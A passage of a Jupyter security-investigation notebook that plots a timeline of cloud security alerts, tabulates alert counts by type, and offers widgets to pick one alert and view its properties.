root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n    }\n    finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.info(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(js_urls, callback) {\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = js_urls.length;\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var s = document.createElement('script');\n      s.src = url;\n      s.async = false;\n      s.onreadystatechange = s.onload = function() {\n        root._bokeh_is_loading--;\n        if (root._bokeh_is_loading === 0) {\n          console.log(\"Bokeh: all BokehJS libraries loaded\");\n          run_callbacks()\n        }\n      };\n      s.onerror = function() {\n        console.warn(\"failed to load library \" + url);\n      };\n      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.getElementsByTagName(\"head\")[0].appendChild(s);\n    }\n  };var element = document.getElementById(\"1001\");\n  if (element == null) {\n    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1001' but no matching script tag was found. \")\n    return false;\n  }\n\n  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    \n    function(Bokeh) {\n      \n    },\n    function(Bokeh) {\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n    }\n  ];\n\n  function run_inline_js() {\n    \n    if ((root.Bokeh !== undefined) || (force === true)) {\n      for (var i = 0; i < inline_js.length; i++) {\n        inline_js[i].call(root, root.Bokeh);\n      }if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(js_urls, function() {\n      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));"
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"a8aa2b4f-d26b-406c-aa46-3950ff4ffc8f\" data-root-id=\"1005\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"3ae32ca7-d50f-4b2e-a8c6-6e85707bfc41\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"1015\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"1020\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":200,\"plot_width\":900,\"renderers\":[{\"id\":\"1015\",\"type\":\"DatetimeAxis\"},{\"id\":\"1019\",\"type\":\"Grid\"},{\"id\":\"1020\",\"type\":\"LinearAxis\"},{\"id\":\"1024\",\"type\":\"Grid\"},{\"id\":\"1032\",\"type\":\"BoxAnnotation\"},{\"id\":\"1042\",\"type\":\"GlyphRenderer\"}],\"title\":{\"id\":\"1004\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"1029\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"1007\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"1011\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"1009\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"1013\",\"type\":\"LinearScale\"}},\"id\":\"1005\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"overlay\":{\"id\":\"1032\",\"type\":\"BoxAnnotation\"}},\"id\":\"1027\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"1059\",\"type\":\"YearsTicker\"},{\"attributes\":{},\"id\":\"1028\",\"type\":\"ResetTool\"},{\"attributes\":{},\"id\":\"1060\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data_source\":{\"id\":\"1002\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1040\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1041\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"1043\",\"type\":\"CDSView\"}},\"id\":\"1042\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1061\",\"type\":\"Selection\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"1032\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Alerts\"},\"id\":\"1004\",\"type\":\"Title\"},{\"attributes\":{\"callback\":null},\"id\":\"1007\",\"type\":\"DataRange1d\"},{\"attributes\":{\"source\":{\"id\":\"1002\",\"type\":\"ColumnDataSource\"}},\"id\":\"1043\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null},\"id\":\"1009\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"1046\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"1011\",\"type\":\"LinearScale\"},{\"attributes\":{\"callback\":null,\"data\":{\"AlertName\":[\"Detected suspicious file download\",\"Suspicious Activity Detected\",\"Detected suspicious file download\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\",\"Detected suspicious file download\",\"Possible suspicious scheduling tasks access detected\",\"Security incident detected\",\"Suspicious Activity Detected\",\"Detected suspicious file download\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Security incident detected\",\"Suspicious system process executed\",\"Potential attempt to bypass AppLocker detected\",\"Security incident with shared process detected\",\"Possible suspicious scheduling tasks access detected\",\"Suspiciously named process detected\",\"Digital currency mining related behavior detected\",\"Detected the disabling of critical services\",\"Detected potentially suspicious use of Telegram tool\",\"Detected suspicious file download\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\"],\"CompromisedEntity\":[\"MSTICALERTSLXVM2\",\"\",\"MSTICALERTSLXVM2\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"\",\"MSTICALERTSLXVM2\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSLXVM2\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSLXVM2\",\"\",\"\",\"MSTICALERTSLXVM2\"],\"TimeGenerated\":{\"__ndarray__\":\"AIBBr1SSdkIAAKLkZpJ2QgAAhpxdkXZCAIAT+OaPdkIAgBxB5Y92QgCAE/jmj3ZCAIAJyuePdkIAgFv45I92QgAAU2bmj3ZCAIAdr+SPdkIAgNWu5o92QgCA1a7mj3ZCAIAT+OaPdkIAgNWu5o92QgCAG9Plj3ZCAIDXiuWPdkIAAJgc5o92QgCA3tnpj3ZCAIAQa4uPdkIAgMu0i492QgAAR5CMj3ZCAAA5aYWPdkIAADN2g492QgAAglFFj3ZCAIB8ePSOdkIAAGUt9Y52QgCArGkKj3ZCAABpfS2PdkIAgPv+Ko92QgCAhUOEj3ZCAIA7/IOPdkIAgD8fhY92QgCAA7KDj3ZCAIBAjYSPdkIAgGzZhI92QgAATv2Lj3ZCAIDSIYuPdkIAgMpGjI92QgCAn9bSjnZCAADnl72OdkIAAOeXvY52QgCAxhynjnZCAIC7tEyOdkIAAHA5jo52QgCAMTmOjnZCAIBM3pGOdkIAgEzekY52QgAAUvS3kHZCAAAP4myQdkIAACHpF5B2QgAA/J4TkHZC\",\"dtype\":\"float64\",\"shape\":[51]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"1061\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1060\",\"type\":\"UnionRenderers\"}},\"id\":\"1002\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1048\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1013\",\"type\":\"LinearScale\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1037\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"1005\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1016\",\"type\":\"DatetimeTicker\"}},\"id\":\"1015\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1049\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1048\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1049\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1050\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1051\",\"type\":\"DaysTicker\"},{\"id\":\"1052\",\"type\":\"DaysTicker\"},{\"id\":\"1053\",\"type\":\"DaysTicker\"},{\"id\":\"1054\",\"type\":\"DaysTicker\"},{\"id\":\"1055\",\"type\":\"MonthsTicker\"},{\"id\":\"1056\",\"type\":\"MonthsTicker\"},{\"id\":\"1057\",\"type\":\"MonthsTicker\"},{\"id\":\"1058\",\"type\":\"MonthsTicker\"},{\"id\":\"1059\",\"type\":\"YearsTicker\"}]},\"id\":\"1016\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1050\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1051\",\"type\":\"DaysTicker\"},{\"attributes\":{\"plot\":{\"id\":\"1005\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1016\",\"type\":\"DatetimeTicker\"}},\"id\":\"1019\",\"type\":\"Grid\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1052\",\"type\":\"DaysTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1046\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"1005\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1021\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"1020\",\"type\":\"LinearAxis\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1053\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1021\",\"type\":\"BasicTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1054\",\"type\":\"DaysTicker\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"1005\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1021\",\"type\":\"BasicTicker\"}},\"id\":\"1024\",\"type\":\"Grid\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1055\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1040\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1037\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1056\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1003\",\"type\":\"HoverTool\"},{\"id\":\"1025\",\"type\":\"PanTool\"},{\"id\":\"1026\",\"type\":\"WheelZoomTool\"},{\"id\":\"1027\",\"type\":\"BoxZoomTool\"},{\"id\":\"1028\",\"type\":\"ResetTool\"}]},\"id\":\"1029\",\"type\":\"Toolbar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1041\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1057\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1025\",\"type\":\"PanTool\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"AlertName\",\"@AlertName\"],[\"CompromisedEntity\",\"@CompromisedEntity\"]]},\"id\":\"1003\",\"type\":\"HoverTool\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1026\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1058\",\"type\":\"MonthsTicker\"}],\"root_ids\":[\"1005\"]},\"title\":\"Bokeh Application\",\"version\":\"1.0.4\"}};\n",
       "  var render_items = [{\"docid\":\"3ae32ca7-d50f-4b2e-a8c6-6e85707bfc41\",\"roots\":{\"1005\":\"a8aa2b4f-d26b-406c-aa46-3950ff4ffc8f\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        embed_document(root);\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "      attempts++;\n",
       "      if (attempts > 100) {\n",
       "        console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1005"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h2>Top alerts</h2>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>AlertName</th>\n",
       "      <th>alertCount</th>\n",
       "      <th>firstAlert</th>\n",
       "      <th>lastAlert</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>SSH Anomalous Login ML</td>\n",
       "      <td>31</td>\n",
       "      <td>2019-02-16 21:30:06</td>\n",
       "      <td>2019-02-19 17:29:26</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>Detected suspicious file download</td>\n",
       "      <td>7</td>\n",
       "      <td>2019-02-15 03:51:09</td>\n",
       "      <td>2019-02-25 15:34:23</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>Suspicious Activity Detected</td>\n",
       "      <td>2</td>\n",
       "      <td>2019-02-15 20:27:38</td>\n",
       "      <td>2019-02-25 20:52:36</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>Possible suspicious scheduling tasks access detected</td>\n",
       "      <td>2</td>\n",
       "      <td>2019-02-13 02:59:15</td>\n",
       "      <td>2019-02-15 04:03:30</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>Security incident detected</td>\n",
       "      <td>2</td>\n",
       "      <td>2019-02-14 18:03:23</td>\n",
       "      <td>2019-02-15 10:14:37</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>Suspicious system process executed</td>\n",
       "      <td>1</td>\n",
       "      <td>2019-02-14 11:52:06</td>\n",
       "      <td>2019-02-14 11:52:06</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>Potential attempt to bypass AppLocker detected</td>\n",
       "      <td>1</td>\n",
       "      <td>2019-02-14 11:52:06</td>\n",
       "      <td>2019-02-14 11:52:06</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>7</th>\n",
       "      <td>Security incident with shared process detected</td>\n",
       "      <td>1</td>\n",
       "      <td>2019-02-14 05:19:13</td>\n",
       "      <td>2019-02-14 05:19:13</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>8</th>\n",
       "      <td>Suspiciously named process detected</td>\n",
       "      <td>1</td>\n",
       "      <td>2019-02-13 22:04:16</td>\n",
       "      <td>2019-02-13 22:04:16</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>9</th>\n",
       "      <td>Digital currency mining related behavior detected</td>\n",
       "      <td>1</td>\n",
       "      <td>2019-02-13 22:04:15</td>\n",
       "      <td>2019-02-13 22:04:15</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>10</th>\n",
       "      <td>Detected the disabling of critical services</td>\n",
       "      <td>1</td>\n",
       "      <td>2019-02-13 23:07:57</td>\n",
       "      <td>2019-02-13 23:07:57</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>11</th>\n",
       "      <td>Detected potentially suspicious use of Telegram tool</td>\n",
       "      <td>1</td>\n",
       "      <td>2019-02-13 23:07:57</td>\n",
       "      <td>2019-02-13 23:07:57</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                               AlertName  alertCount  \\\n",
       "0                                 SSH Anomalous Login ML          31   \n",
       "1                      Detected suspicious file download           7   \n",
       "2                           Suspicious Activity Detected           2   \n",
       "3   Possible suspicious scheduling tasks access detected           2   \n",
       "4                             Security incident detected           2   \n",
       "5                     Suspicious system process executed           1   \n",
       "6         Potential attempt to bypass AppLocker detected           1   \n",
       "7         Security incident with shared process detected           1   \n",
       "8                    Suspiciously named process detected           1   \n",
       "9      Digital currency mining related behavior detected           1   \n",
       "10           Detected the disabling of critical services           1   \n",
       "11  Detected potentially suspicious use of Telegram tool           1   \n",
       "\n",
       "            firstAlert           lastAlert  \n",
       "0  2019-02-16 21:30:06 2019-02-19 17:29:26  \n",
       "1  2019-02-15 03:51:09 2019-02-25 15:34:23  \n",
       "2  2019-02-15 20:27:38 2019-02-25 20:52:36  \n",
       "3  2019-02-13 02:59:15 2019-02-15 04:03:30  \n",
       "4  2019-02-14 18:03:23 2019-02-15 10:14:37  \n",
       "5  2019-02-14 11:52:06 2019-02-14 11:52:06  \n",
       "6  2019-02-14 11:52:06 2019-02-14 11:52:06  \n",
       "7  2019-02-14 05:19:13 2019-02-14 05:19:13  \n",
       "8  2019-02-13 22:04:16 2019-02-13 22:04:16  \n",
       "9  2019-02-13 22:04:15 2019-02-13 22:04:15  \n",
       "10 2019-02-13 23:07:57 2019-02-13 23:07:57  \n",
       "11 2019-02-13 23:07:57 2019-02-13 23:07:57  "
      ]
     },
     "execution_count": 32,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "alert_counts = qry.list_alerts_counts(provs=[alert_q_times])\n",
    "alert_list = qry.list_alerts(provs=[alert_q_times])\n",
    "print(len(alert_counts), ' distinct alert types')\n",
    "print(len(alert_list), ' distinct alerts')\n",
    "display(HTML('<h2>Alert Timeline</h2>'))\n",
    "nbdisp.display_timeline(data=alert_list, source_columns = ['AlertName', 'CompromisedEntity'], title='Alerts', height=200)\n",
    "display(HTML('<h2>Top alerts</h2>'))\n",
    "alert_counts.head(20) # remove '.head(20)'' to see the full list grouped by AlertName"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='enteralertid'></a>[Contents](#toc)\n",
    "# Choose Alert to Investigate\n",
    "Either pick an alert from a list of retrieved alerts or paste the SystemAlertId into the text box in the following section."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Select alert from list\n",
    "As you select an alert, the main properties will be shown below the list.\n",
    "\n",
    "Use the filter box to narrow down your search to any substring in the AlertName."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 33,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "9e35cede4c674c22a8e32e9d3e5632c2",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "alert_select = mas.SelectAlert(alerts=alert_list, action=nbdisp.display_alert)\n",
    "alert_select.display()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Or paste in an alert ID and fetch it\n",
    "**Skip this if you selected from the above list**"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "f994a8fa76384fbca5d1dfdafe89f69d",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Text(value='', description='SystemAlertId for alert :', layout=Layout(width='50%'), placeholder…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Allow alert to be selected\n",
    "# Allow subscription to be selected\n",
    "get_alert = mas.GetSingleAlert(action=nbdisp.display_alert)\n",
    "get_alert.display()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='extractalertproperties'></a>[Contents](#toc)\n",
    "## Extract properties and entities from Alert\n",
    "This section extracts the alert information and entities into a SecurityAlert object allowing us to query the properties more reliably. \n",
    "\n",
    "In particular, we use the alert to automatically provide parameters for queries and UI elements.\n",
    "Subsequent queries will use properties like the host name and derived properties such as the OS family (Linux or Windows) to adapt the query. Query time selectors like the one above will also default to an origin time that matches the alert selected.\n",
    "\n",
    "The alert view below shows all of the main properties of the alert plus the extended property dictionary (if any) and JSON representations of the Entity."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 35,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "        <h3>Alert: 'Suspiciously named process detected'</h3><br>time=<b>2019-02-13 22:03:42</b>, entity=<b>MSTICALERTSWIN1</b>, id=<b>2518522053771835343_649075c9-dc5d-4a75-a848-9c51f70a45ae</b>\n",
       "        <br/>\n",
       "        <table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>43</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>TenantId</th>\n",
       "      <td>52b1ab41-869e-4138-9e40-2a4457f09bf0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>StartTimeUtc</th>\n",
       "      <td>2019-02-13 22:03:42</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>EndTimeUtc</th>\n",
       "      <td>2019-02-13 22:03:42</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ProviderAlertId</th>\n",
       "      <td>649075c9-dc5d-4a75-a848-9c51f70a45ae</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SystemAlertId</th>\n",
       "      <td>2518522053771835343_649075c9-dc5d-4a75-a848-9c51f70a45ae</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ProviderName</th>\n",
       "      <td>Detection</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>VendorName</th>\n",
       "      <td>Microsoft</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AlertType</th>\n",
       "      <td>Suspiciously named process detected</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AlertName</th>\n",
       "      <td>Suspiciously named process detected</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AlertDisplayName</th>\n",
       "      <td>Suspiciously named process detected</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Description</th>\n",
       "      <td>Analysis of host data on MSTICALERTSWIN1 detected a process whose name is very similar to but di...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Severity</th>\n",
       "      <td>High</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>IsIncident</th>\n",
       "      <td>False</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ExtendedProperties</th>\n",
       "      <td>{'Account Session Id': '0x1e821b5', 'Compromised Host': 'MSTICALERTSWIN1', 'Parent Process': 'cm...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Entities</th>\n",
       "      <td>[{'$id': '2', 'HostName': 'msticalertswin1', 'AzureID': '/subscriptions/40dcc8bf-0478-4f3b-b275-...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ConfidenceLevel</th>\n",
       "      <td>Unknown</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ConfidenceScore</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
